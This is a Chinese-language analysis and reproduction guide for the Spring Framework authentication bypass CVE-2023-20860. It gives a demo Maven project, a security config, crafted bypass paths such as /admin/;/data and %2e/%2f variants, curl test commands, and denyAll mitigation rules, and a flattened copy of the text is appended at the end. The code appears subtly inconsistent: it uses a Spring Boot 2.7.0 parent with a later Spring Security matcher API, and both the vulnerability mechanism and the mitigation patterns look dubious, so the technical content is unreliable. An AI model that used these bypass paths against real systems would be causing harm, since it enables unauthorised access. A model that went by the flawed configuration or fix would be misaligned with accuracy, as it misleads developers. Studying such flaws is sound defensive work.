浅谈Spring Framework身份验证绕过漏洞(CVE-2023-20860)
字数 870 2025-08-06 12:20:45

Spring Framework 身份验证绕过漏洞(CVE-2023-20860) 分析与复现指南

漏洞概述

CVE-2023-20860 是 Spring Framework 中的一个身份验证绕过漏洞,影响以下版本:

  • Spring Framework 6.0.x <= 6.0.6
  • Spring Framework 5.3.x <= 5.3.25

该漏洞允许攻击者在特定条件下绕过 Spring Security 的身份验证机制。

漏洞原理

漏洞源于 Spring Framework 的 URL 模式匹配机制。当应用程序使用 /**/* 等通配符模式进行安全配置时,在某些特殊构造的 URL 路径下,Spring 的路径匹配逻辑可能会出现不一致,导致安全过滤器被绕过。

影响版本

  • Spring Framework 6.0.0 - 6.0.6
  • Spring Framework 5.3.0 - 5.3.25

复现环境搭建

依赖配置 (pom.xml)

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <!-- 使用受影响版本 -->
        <version>2.7.0</version> <!-- 对应 Spring Framework 5.3.20 -->
        <relativePath/>
    </parent>
    
    <groupId>com.example</groupId>
    <artifactId>cve-2023-20860-demo</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>cve-2023-20860-demo</name>
    <description>Demo project for CVE-2023-20860</description>

    <properties>
        <java.version>11</java.version>
    </properties>

    <dependencies>
        <!-- Spring Web -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        
        <!-- Spring Security -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-security</artifactId>
        </dependency>
        
        <!-- 测试依赖 -->
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.security</groupId>
            <artifactId>spring-security-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

安全配置示例

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.web.SecurityFilterChain;

@Configuration
@EnableWebSecurity
public class SecurityConfig {
    
    @Bean
    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/admin/**").authenticated() // 需要认证
                .anyRequest().permitAll() // 其他路径允许匿名访问
            )
            .formLogin(form -> form
                .loginPage("/login")
                .permitAll()
            )
            .logout(logout -> logout
                .permitAll()
            );
        
        return http.build();
    }
}

控制器示例

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class AdminController {
    
    @GetMapping("/admin/data")
    public String adminData() {
        return "Sensitive admin data";
    }
}

漏洞复现步骤

  1. 启动应用程序
  2. 访问受保护的端点 /admin/data - 应该被重定向到登录页面
  3. 尝试使用以下特殊构造的URL访问:
    • /admin/;/data
    • /admin/%2e/data
    • /admin/%2f/data

在某些配置下,这些URL可能会绕过安全过滤器,直接访问到受保护的资源。

修复方案

官方修复

升级到以下版本:

  • Spring Framework 6.0.7+
  • Spring Framework 5.3.26+

临时缓解措施

  1. 使用明确的路径模式而非通配符
  2. 在安全配置中添加额外的路径验证
  3. 实现自定义的路径匹配逻辑
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
    http
        .authorizeHttpRequests(auth -> auth
            .requestMatchers("/admin/**").authenticated()
            // 添加显式拒绝包含特殊字符的路径
            .requestMatchers("/admin/*;*/**").denyAll()
            .requestMatchers("/admin/*%2e*/**").denyAll()
            .requestMatchers("/admin/*%2f*/**").denyAll()
            .anyRequest().permitAll()
        );
    return http.build();
}

漏洞验证

可以使用以下curl命令验证漏洞是否存在:

# 正常访问 - 应返回401或重定向到登录
curl -v http://localhost:8080/admin/data

# 尝试绕过 - 观察是否返回受保护资源
curl -v http://localhost:8080/admin/;/data
curl -v http://localhost:8080/admin/%2e/data
curl -v http://localhost:8080/admin/%2f/data

总结

CVE-2023-20860 是一个Spring Framework中的路径匹配漏洞,可能导致身份验证绕过。开发人员应及时升级到修复版本,或实施适当的缓解措施。在配置安全规则时,应避免过度依赖通配符模式,并考虑路径规范化可能带来的安全问题。

Spring Framework 身份验证绕过漏洞(CVE-2023-20860) 分析与复现指南 漏洞概述 CVE-2023-20860 是 Spring Framework 中的一个身份验证绕过漏洞,影响以下版本: Spring Framework 6.0.x <= 6.0.6 Spring Framework 5.3.x <= 5.3.25 该漏洞允许攻击者在特定条件下绕过 Spring Security 的身份验证机制。 漏洞原理 漏洞源于 Spring Framework 的 URL 模式匹配机制。当应用程序使用 /** 或 /* 等通配符模式进行安全配置时,在某些特殊构造的 URL 路径下,Spring 的路径匹配逻辑可能会出现不一致,导致安全过滤器被绕过。 影响版本 Spring Framework 6.0.0 - 6.0.6 Spring Framework 5.3.0 - 5.3.25 复现环境搭建 依赖配置 (pom.xml) 安全配置示例 控制器示例 漏洞复现步骤 启动应用程序 访问受保护的端点 /admin/data - 应该被重定向到登录页面 尝试使用以下特殊构造的URL访问: /admin/;/data /admin/%2e/data /admin/%2f/data 在某些配置下,这些URL可能会绕过安全过滤器,直接访问到受保护的资源。 修复方案 官方修复 升级到以下版本: Spring Framework 6.0.7+ Spring Framework 5.3.26+ 临时缓解措施 使用明确的路径模式而非通配符 在安全配置中添加额外的路径验证 实现自定义的路径匹配逻辑 漏洞验证 可以使用以下curl命令验证漏洞是否存在: 总结 CVE-2023-20860 是一个Spring Framework中的路径匹配漏洞,可能导致身份验证绕过。开发人员应及时升级到修复版本,或实施适当的缓解措施。在配置安全规则时,应避免过度依赖通配符模式,并考虑路径规范化可能带来的安全问题。